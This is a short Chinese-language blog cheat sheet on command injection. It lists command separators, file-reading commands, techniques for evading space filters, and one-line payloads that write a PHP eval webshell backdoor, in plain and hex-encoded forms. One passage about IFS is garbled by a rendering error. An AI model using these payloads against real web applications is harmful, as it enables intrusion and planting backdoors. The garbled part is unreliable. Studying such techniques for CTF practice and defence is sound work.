简单的RCE注入攻击

@简单的RCE总结

首先:Command Injection 是web程序对用户提交数据检测不严格造成的命令攻击。与sql注入攻击一样都会造成很大的危害。–走向一个安全小白的总结之路

一些绕过总结

  1. 命令连接符

    1. “;”:执行完前面的语句再执行后面的语句。
    2. “|”:显示后面语句的执行结果。
    3. “||”:当前面的语句执行出错时,执行后面的语句。
    4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
    5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    6. %0a“这个为url编码的换行符,不能在linux下直接使用需要通过php环境下”(在过滤掉前面几种后可以考虑);
  2. 查看文件内容的命令

    1. “cat" 由第一行开始显示,并将所有内容输出。
    2. “tac”与cat相反,从最后一行开始逐行输出。
    3. “more” 就是我们管道中常用的分页显示。
    4. “head”可以显示文本内容的前几行
    5. “tail”显示末尾几行
    6. “nl”与cat -n 命令一样,输出内容并显示行号 ;
  3. 通过命令行编写webshell

    1. “linux":echo “<?php eval(@\$_POST['pass']);?>” > webshell.php;
    2. echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//与上一种异曲同工,知识转成了16进制 |xxd是将16进制转回去
    3. windos下:“echo ^<?php eval($_POST[pass]); ?^> > webshell.php”
  4. 不适用空格的姿势

    1. “{ls,-a}"
    2. “<”:ls<-a
    3. IFS:IFS:借众博主的解释:IFS在linux下表示分隔符,但是如果单纯的catIFS2,bashIFS2IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
    4. 使用环境变量:shell=KaTeX parse error: Undefined control sequence: \x at position 2: '\̲x̲20123';\x20是空格。…(find flag*).
5.**当过滤大部分操时候** 
		1. 可以使用$@,例如:ca$@t flag
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章